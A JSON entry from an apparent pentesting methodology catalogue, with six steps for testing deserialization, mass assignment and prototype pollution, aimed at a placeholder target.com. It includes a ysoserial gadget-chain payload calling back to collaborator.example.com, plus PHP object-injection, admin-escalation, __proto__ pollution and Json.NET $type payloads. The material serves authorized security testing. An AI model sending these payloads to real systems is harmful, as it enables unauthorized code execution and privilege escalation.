{
  "slug": "deserialization-testing",
  "title": "Deserialization & Mass Assignment",
  "phase": "Exploitation",
  "description": "Test for insecure deserialization, mass assignment / parameter binding vulnerabilities, and prototype pollution in server-side and client-side contexts.",
  "difficulty": "high",
  "tags": [
    "exploitation",
    "deserialization",
    "mass-assignment",
    "prototype-pollution",
    "server-side"
  ],
  "tools": [
    "Burp Suite",
    "ysoserial",
    "nuclei",
    "curl"
  ],
  "steps": [
    {
      "id": "deser-01",
      "title": "Identify serialization formats",
      "description": "Fingerprint serialization formats (Java ObjectInputStream, PHP serialize, .NET ViewState, Python pickle) in HTTP traffic by inspecting Content-Type headers, cookie values, and hidden form fields.",
      "commands": [
        "curl -sk https://target.com/ -D - | grep -iE '(content-type|set-cookie|viewstate)'",
        "nuclei -u https://target.com -t technologies/ -o tech-fingerprint.txt"
      ],
      "notes": "Look for Base64-encoded blobs in cookies and POST bodies — decode them to check for serialised object signatures (e.g. `rO0AB` for Java, `O:` for PHP)."
    },
    {
      "id": "deser-02",
      "title": "Test Java deserialization with ysoserial",
      "description": "Generate ysoserial payloads for common gadget chains (CommonsCollections, Spring, Hibernate) and inject them into identified deserialization sinks.",
      "commands": [
        "java -jar ysoserial.jar CommonsCollections1 'curl http://collaborator.example.com' | base64 -w0",
        "curl -sk https://target.com/api/import -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload.bin"
      ],
      "notes": "Start with DNS-only or HTTP-callback payloads for blind detection before attempting code execution. Always use your own callback server."
    },
    {
      "id": "deser-03",
      "title": "Test PHP object injection",
      "description": "Identify PHP unserialize() sinks and craft serialised objects that trigger magic methods (__wakeup, __destruct, __toString).",
      "commands": [
        "curl -sk 'https://target.com/profile?data=O:8:\"stdClass\":0:{}'",
        "nuclei -u https://target.com -t vulnerabilities/php/ -o php-deser.txt"
      ],
      "notes": "Check cookies, GET/POST parameters, and session storage for PHP serialised data starting with `O:`, `a:`, or `s:`."
    },
    {
      "id": "deser-04",
      "title": "Test mass assignment vulnerabilities",
      "description": "Add unexpected fields (admin, role, isAdmin, is_superuser, price, balance) to POST/PUT/PATCH requests and observe whether the server binds them.",
      "commands": [
        "curl -sk -X POST https://target.com/api/register -H 'Content-Type: application/json' -d '{\"username\":\"testuser\",\"password\":\"pass123\",\"role\":\"admin\"}'",
        "curl -sk -X PUT https://target.com/api/profile -H 'Content-Type: application/json' -H 'Authorization: Bearer <token>' -d '{\"name\":\"test\",\"isAdmin\":true,\"balance\":99999}'"
      ],
      "notes": "Compare the response body and behaviour with and without the injected fields. Some frameworks silently accept and bind unknown parameters."
    },
    {
      "id": "deser-05",
      "title": "Test prototype pollution",
      "description": "Inject __proto__ and constructor.prototype payloads in JSON bodies to test for server-side and client-side prototype pollution.",
      "commands": [
        "curl -sk -X POST https://target.com/api/settings -H 'Content-Type: application/json' -d '{\"__proto__\":{\"isAdmin\":true}}'",
        "curl -sk -X POST https://target.com/api/merge -H 'Content-Type: application/json' -d '{\"constructor\":{\"prototype\":{\"role\":\"admin\"}}}'"
      ],
      "notes": "Prototype pollution in Node.js applications can escalate to RCE via gadget chains in templating engines like Handlebars or Pug."
    },
    {
      "id": "deser-06",
      "title": "Test JSON deserialization issues",
      "description": "Test JSON parsers for type confusion, duplicate key handling, and deserialization gadgets in typed-JSON formats (.NET Json.NET $type, Java Jackson).",
      "commands": [
        "curl -sk -X POST https://target.com/api/data -H 'Content-Type: application/json' -d '{\"$type\":\"System.IO.FileInfo, mscorlib\",\"fileName\":\"c:/windows/win.ini\"}'",
        "curl -sk -X POST https://target.com/api/data -H 'Content-Type: application/json' -d '{\"id\":1,\"id\":2}'"
      ],
      "notes": ".NET applications using Json.NET with TypeNameHandling enabled are particularly vulnerable. Check for polymorphic type indicators in normal API responses."
    }
  ],
  "references": [
    "https://github.com/frohoff/ysoserial",
    "https://portswigger.net/web-security/deserialization",
    "https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html",
    "https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html",
    "https://portswigger.net/web-security/prototype-pollution"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}